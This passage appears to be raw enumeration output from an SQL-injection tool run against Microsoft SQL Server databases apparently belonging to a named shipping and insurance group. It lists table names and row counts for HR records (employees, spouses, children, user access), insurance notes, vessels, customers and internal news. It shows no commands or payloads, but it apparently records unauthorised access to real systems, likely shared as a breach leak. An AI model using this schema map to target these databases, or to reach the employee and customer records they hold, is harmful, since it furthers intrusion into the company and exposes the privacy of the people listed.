| dbo.HR_Edu_background | 2916 |
| dbo.HR_Emp | 2718 |
| dbo.HR_Emp_spouse | 2702 |
| dbo.vw_HR_Emp_Detail | 2628 |
| dbo.HR_Emp2 | 2597 |
| dbo.HR_Position_History | 2156 |
| dbo.HR_Emp_Children | 1082 |
| dbo.HR_CODE_Position | 907 |
| dbo.HR_Further_Study | 875 |
| dbo.HR_Comp_Access | 604 |
| dbo.HR_Section_Right | 490 |
| dbo.HR_CODE_Dept | 381 |
| dbo.HR_User | 224 |
| dbo.HR_CompSysInfo | 111 |
| dbo.HR_Company_Relation | 63 |
| dbo.Rpt_Chart_Search | 51 |
| dbo.Rpt_Excel | 36 |
| dbo.HR_CODE_Institute | 20 |
| dbo.HR_CODE_Country | 17 |
| dbo.Rpt_Edu_Count | 13 |
| dbo.HR_CODE_Ext_Function | 7 |
| dbo.HR_CODE_Nationality | 7 |
| dbo.HR_CODE_Race | 7 |
| dbo.HR_CODE_Staff_Category | 7 |
| dbo.HR_SYS_AccessSection | 7 |
| dbo.HR_SYS_Code_table | 7 |
| dbo.HR_CODE_Marital_Status | 5 |
| dbo.HR_CODE_Medical_Plan | 5 |
| dbo.Rpt_Position_History | 5 |
| dbo.HR_CODE_Alert | 4 |
| dbo.Rpt_Bpassport | 3 |
| dbo.HR_CODE_Status | 2 |
| dbo.HR_SYS_Category | 2 |
| dbo.HR_BIRTHDAY_REMARK | 1 |
| dbo.Rpt_Business | 1 |
| dbo.Rpt_BusTrip | 1 |
| dbo.Rpt_Extension | 1 |
| dbo.Rpt_Extension_New | 1 |
| dbo.Rpt_MacauTrip | 1 |
| dbo.Rpt_Out_Inland_Emp | 1 |
| dbo.Rpt_Probation | 1 |
| dbo.Rpt_Tourist | 1 |
| dbo.Rpt_Tourist_New | 1 |
| dbo.Rpt_Visa_Ext | 1 |
+--------------------------------------------------+---------+
Database: NETMESS
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.Trx_Mess | 30 |
| dbo.Sys_User | 2 |
+--------------------------------------------------+---------+
Database: simsdb
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.CustomerOrig | 18216 |
| dbo.VesselOrig | 13665 |
| dbo.KM_VESSEL | 6201 |
| dbo.KM_CUSTOMER_SUPPLIER | 5535 |
| dbo.km_customer_supplier_bak | 5535 |
| dbo.cs_contact | 3818 |
+--------------------------------------------------+---------+
Database: GROUPWEB
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.News_Photo | 1178 |
| dbo.userLog | 971 |
| dbo.news | 905 |
| dbo.enews | 817 |
| dbo.author | 257 |
| dbo.wuser | 164 |
| dbo.defJob | 80 |
| dbo.contact | 25 |
| dbo.econtact | 25 |
| dbo.ein_news | 23 |
| dbo.InNews_Photo | 20 |
| dbo.defComp | 19 |
| dbo.in_news | 17 |
| dbo.func | 13 |
| dbo.defService | 12 |
| dbo.systemLog | 8 |
| dbo.defStatus | 4 |
| dbo.test | 1 |
+--------------------------------------------------+---------+
Database: SZ_migration
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.ins_notesText | 783271 |
| dbo.ins_docText | 344577 |
| dbo.sys_userlog | 222862 |
| dbo.ins_docInstal | 116439 |
| dbo.ins_docVessel | 85935 |
| dbo.ins_docDetail | 79664 |
| dbo.ins_post | 78131 |
| dbo.ins_notes | 66906 |
| dbo.ins_notesGroup | 65811 |
| dbo.zz_test | 65486 |
| dbo.ins_mainVessel | 46375 |
| dbo.ins_mainDetail | 38919 |
| dbo.ins_notice | 31065 |
| dbo.ins_mainUwriter | 20949 |
| dbo.ins_docAmend | 20199 |
| dbo.ins_docMain | 16245 |
| dbo.zz_notesGroup | 9569 |
| dbo.zz_notesCurr | 9554 |
| dbo.zz_notesAmt | 9546 |
| dbo.ins_teamVessel | 9009 |
| dbo.rpt_brokerageHNM | 7906 |
| dbo.sys_noteTemplate | 4489 |
| dbo.rpt_noteListing | 4451 |
| dbo.sys_vessel | 4390 |
| dbo.sys_vessel_hk | 4225 |
| dbo.zz_parentDoc | 4066 |
| dbo.ins_team | 3919 |
| dbo.rpt_brokeragePNI | 3466 |
| dbo.rpt_totalPremNBrokerage | 2662 |
| dbo.zz_testV | 2175 |
| dbo.sys_docTemplate | 1966 |
| dbo.rpt_lossRatio | 1385 |
| dbo.sys_client | 1272 |
| dbo.sys_client_HK | 1105 |
| dbo.rpt_noteStatement | 994 |
| dbo.U8_EXPORT_NOTE | 939 |
| dbo.rpt_docSchPl | 552 |
| dbo.rptNote | 461 |
| dbo.sys_clubinst | 363 |
| dbo.sys_uwriter | 278 |
| dbo.sys_curr | 252 |
| dbo.sys_uwriter_hk | 241 |
| dbo.ins_claim | 235 |
| dbo.sys_noteItem | 208 |
| dbo.rpt_docEndAddClaim | 173 |
| dbo.zz_zCombine | 165 |
| dbo.ins_postBK | 110 |
| dbo.ins_file | 71 |
| dbo.ins_userAccess | 69 |
| dbo.sys_user | 67 |
| dbo.sys_subClass | 65 |
| dbo.rptNote_VesselGeneral | 50 |
| dbo.sys_accode | 49 |
| dbo.sys_accodeNewBK | 49 |
| dbo.U8_CODE_ACCODE | 49 |
| dbo.rpt_brokerageHNMVessel | 36 |
| dbo.sys_club | 34 |
| dbo.sys_mainClass | 21 |
| dbo.sys_module | 21 |
| dbo.rptNoteInstal2 | 18 |
| dbo.U8_CODE_LOG | 17 |
| dbo.U8_LOG | 17 |
| dbo.ins_mainDeduct | 16 |
| dbo.rptNote_VesselPNI | 15 |
| dbo.rpt_docSchPlVessel | 10 |
| dbo.Sys_deductType | 8 |
| dbo.arinpcdt | 7 |
| dbo.def_curr | 7 |
| dbo.AR_Notes_Detail | 6 |
| dbo.arinpchg | 6 |
| dbo.arinptax | 6 |
| dbo.sys_doctype | 6 |
| dbo.zz_aaa | 6 |
| dbo.arinpage | 5 |
| dbo.ins_claimFile | 5 |
| dbo.U8_CODE_CURR_ACCODE | 5 |
| dbo.ins_claimPay | 2 |
| dbo.sys_company | 2 |
| dbo.glco | 1 |
| dbo.uw_Transfer_ACCo | 1 |
+--------------------------------------------------+---------+
Database: New_Ship
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.SHP_TB_CNews | 4725 |
| dbo.Files | 1058 |
| dbo.SHP_TB_MktNews | 810 |
| dbo.Vessel_Info | 125 |
| dbo.Vessel_Info1 | 75 |
| dbo.SHP_TB_Category | 11 |
| dbo.func | 8 |
| dbo.author | 3 |
| dbo.SHP_TB_MktTrend | 3 |
| dbo.SHP_TB_Wuser | 3 |
| dbo.SHP_TB_Share | 2 |
| dbo.defComp | 1 |
| dbo.SHP_Index_Chart | 1 |
+--------------------------------------------------+---------+
Database: COSCOPROPERTY
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.photos | 77 |
| dbo.rentUnit | 24 |
| dbo.sysUser | 1 |
+--------------------------------------------------+---------+
Database: COSCONETWORK
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.Q_Result | 6240 |
| dbo.Q_Sheet | 358 |
| dbo.CODE_CompUser | 200 |
| dbo.ST_UserSection | 65 |
| dbo.CODE_Question | 29 |
| dbo.CODE_Company | 18 |
| dbo.ST_UserCopies | 13 |
| dbo.test22 | 8 |
| dbo.CODE_Section | 7 |
| dbo.ST_QYear | 7 |
| dbo.ST_USER | 2 |
| dbo.TEST | 1 |
+--------------------------------------------------+---------+
Database: COSCOWeekly
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.NEWS_ENTRY | 8 |
| dbo.PHOTOS | 4 |
| dbo.SYS_CATEGORY | 3 |
| dbo.SYS_USER | 1 |
| dbo.WEEKLY_ISSUE | 1 |
+--------------------------------------------------+---------+
Database: INSURANCEHK
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.ins_notesText | 682861 |
| dbo.ins_docText | 285031 |
| dbo.sys_userlog | 222890 |
| dbo.ins_docInstal | 95802 |
| dbo.ins_post | 78231 |
| dbo.ins_docVessel | 69300 |
| dbo.ins_docDetail | 68058 |
| dbo.zz_test | 65486 |
| dbo.ins_notes | 57352 |
| dbo.ins_notesGroup | 56257 |
| dbo.ins_mainVessel | 42684 |
| dbo.ins_mainDetail | 35879 |
| dbo.ins_notice | 31066 |
| dbo.ins_mainUwriter | 19650 |
| dbo.ins_docAmend | 17662 |
| dbo.ins_docMain | 15634 |
| dbo.rpt_brokerageHNM | 7906 |
| dbo.ins_teamVessel | 7390 |
| dbo.rpt_noteListing | 4403 |
| dbo.sys_vesselCombine | 4390 |
| dbo.sys_vessel | 4225 |
| dbo.ins_team | 3621 |
| dbo.rpt_brokeragePNI | 3466 |
| dbo.rpt_totalPremNBrokerage | 2662 |
| dbo.sys_noteTemplate | 2368 |
| dbo.zz_testV | 2175 |
| dbo.rpt_lossRatio | 1385 |
| dbo.sys_clientCombine | 1271 |
| dbo.sys_client | 1105 |
| dbo.sys_docTemplate | 1004 |
| dbo.U8_EXPORT_NO